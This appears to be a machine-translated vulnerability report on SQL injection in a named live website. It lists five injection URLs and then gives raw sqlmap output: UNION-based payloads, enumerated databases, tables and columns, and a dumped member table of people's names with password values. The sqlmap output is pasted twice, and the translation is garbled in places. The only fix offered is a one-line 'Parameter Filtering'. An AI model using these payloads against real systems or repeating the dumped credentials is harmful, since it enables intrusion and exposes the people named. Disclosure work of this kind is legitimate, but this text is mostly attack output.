Multiple SQL Injection packages on the Xingang technology site

Multiple SQL Injection packages on the Xingang technology site

Five injection points (three POST points and two GET points)

First POST injection

Http://rx.8864.com/gonglist.php? Sort_id = * POST parameter passportName_login = vhuuhbwv & passportPswd_login = 111122223 & save = on & save_password = on & validate_login = vhuuhbwv injection point: sort_id

Second POST injection

Http://rx.8864.com/imagelist.php? Page = 2 & sort_id = * POST parameter passportName_login = cyfjcsuj & passportPswd_login = 111122223 & save = on & save_password = on & validate_login = cyfjcsuj injection point: sort_id

Third, GET Injection

Http://rx.8864.com/imagelist.php? Page = 2 & sort_id = * injection point: sort_id

Fourth POST injection

Http://rx.8864.com/imagelist.php? & Sort_id = * POST parameter passportName_login = rmsggysd & passportPswd_login = 111122223 & save = on & save_password = on & validate_login = rmsggysd injection point: sort_id

Fifth, GET Injection

Third, GET Injection

Http://rx.8864.com/imagelist.php? & Amp; sort_id = * injection point: sort_id

 

Sqlmap identified the following injection points with a total of 891 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: Generic UNION query (random number) -4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 6013,6013, [QUERY], 6013 -- --- web application technology: apacheback-end DBMS: MySQL> = 5.0.0available databases [2]: [*] information_schema [*] rxxy_websqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: Generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a%a%9434f64, 0x7176626271), 7359 -- Vector: union all select 1926,1926, [QUERY], 1926 -- --- web application technology: apacheback-end DBMS: MySQL >=5.0.0database: rxxy_web [31 tables] + tables + | tables | rxxy_address | channels | rxxy_build | rxxy_channel | rxxy_columns | rxxy_comment | rxxy_download | scheme | rxxy_flash | rxxy_grading | rxxy_group | rxxy_image | scheme | rxxy_template | rxxy_url | scheme | | rxxy_vote | items | rxxy_vote_option | items | rxxy_wj_image | items | + items + sqlmap identified the following injection points with a of total 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: Generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 9254,9254, [QUERY], 9254 -- --- web application technology: apacheback-end DBMS: MySQL> = 5.0.0sqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 4670,4670, [QUERY], 4670 -- --- web application technology: apacheback-end DBMS: MySQL> = 5.0.0sqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 7537,7537, [QUERY], 7537 -- --- web application technology: apacheback-end DBMS: MySQL >=5.0.0database: Bytes: bytes [26 columns] + ---------------- + -------------- + | Column | Type | + ---------------- + -------------- + | address_id | int (11) | article_id | int (11) | group_id | int (11) | id | int (11) | image_id | int (11) | nickname | varchar (64) | uadd_time | datetime | url_id | int (11) | user_age | date | user_Dreply | int (11) | user_Dtopic | int (11) | user_email | varchar (32) | user_grading | varchar (64) | user_jointime | datetime | user_like | varchar (255) | user_movephone | varchar (32) | user_msn | varchar (128) | user_name | varchar (32) | user_passwd | varchar (32) | user_perfect | int (11) | user_qq | int (11) | user_sex | int (2) | user_state | int (2) | user_Treply | int (11) | user_Ttopic | int (11) | vote_id | int (11) | + ---------------- + -------------- + sqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 6116, 6116, [QUERY], 6116 -- --- web application technology: apacheback-end DBMS: MySQL >=5.0.0database: rxxy_webTable: rxxy_member [9 entries] + ----------- + member + | user_name | user_passwd | + ----------- + member + | Dong Yong | jun | Wang Lei | jun | Liu Zhigang | jun | O & M engineer on duty | tips | Han qiuying | tips | Zhang Jing | tips | Zhang Chen | tips | Li Zhi | tips | Huang Mengqi | tips | + ----------- + ---------------------------------- +

 

Sqlmap identified the following injection points with a total of 891 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: Generic UNION query (random number) -4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 6013,6013, [QUERY], 6013 -- --- web application technology: apacheback-end DBMS: MySQL> = 5.0.0available databases [2]: [*] information_schema [*] rxxy_websqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: Generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a%a%9434f64, 0x7176626271), 7359 -- Vector: union all select 1926,1926, [QUERY], 1926 -- --- web application technology: apacheback-end DBMS: MySQL >=5.0.0database: rxxy_web [31 tables] + tables + | tables | rxxy_address | channels | rxxy_build | rxxy_channel | rxxy_columns | rxxy_comment | rxxy_download | scheme | rxxy_flash | rxxy_grading | rxxy_group | rxxy_image | scheme | rxxy_template | rxxy_url | scheme | | rxxy_vote | items | rxxy_vote_option | items | rxxy_wj_image | items | + items + sqlmap identified the following injection points with a of total 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: Generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 9254,9254, [QUERY], 9254 -- --- web application technology: apacheback-end DBMS: MySQL> = 5.0.0sqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 4670,4670, [QUERY], 4670 -- --- web application technology: apacheback-end DBMS: MySQL> = 5.0.0sqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 7537,7537, [QUERY], 7537 -- --- web application technology: apacheback-end DBMS: MySQL >=5.0.0database: Bytes: bytes [26 columns] + ---------------- + -------------- + | Column | Type | + ---------------- + -------------- + | address_id | int (11) | article_id | int (11) | group_id | int (11) | id | int (11) | image_id | int (11) | nickname | varchar (64) | uadd_time | datetime | url_id | int (11) | user_age | date | user_Dreply | int (11) | user_Dtopic | int (11) | user_email | varchar (32) | user_grading | varchar (64) | user_jointime | datetime | user_like | varchar (255) | user_movephone | varchar (32) | user_msn | varchar (128) | user_name | varchar (32) | user_passwd | varchar (32) | user_perfect | int (11) | user_qq | int (11) | user_sex | int (2) | user_state | int (2) | user_Treply | int (11) | user_Ttopic | int (11) | vote_id | int (11) | + ---------------- + -------------- + sqlmap identified the following injection points with a total of 0 HTTP (s) requests: --- Parameter: #1 * (URI) Type: UNION query Title: generic UNION query (random number)-4 columns Payload: http://rx.8864.com:80/gonglist.php?sort_id=-8328 ) Union all select 7359,7359, CONCAT (0x71717a6a71, 0x50785a450a00009434f64, 0x7176626271), 7359 -- Vector: union all select 6116, 6116, [QUERY], 6116 -- --- web application technology: apacheback-end DBMS: MySQL >=5.0.0database: rxxy_webTable: rxxy_member [9 entries] + ----------- + member + | user_name | user_passwd | + ----------- + member + | Dong Yong | jun | Wang Lei | jun | Liu Zhigang | jun | O & M engineer on duty | tips | Han qiuying | tips | Zhang Jing | tips | Zhang Chen | tips | Li Zhi | tips | Huang Mengqi | tips | + ----------- + ---------------------------------- +

 

Solution:

Parameter Filtering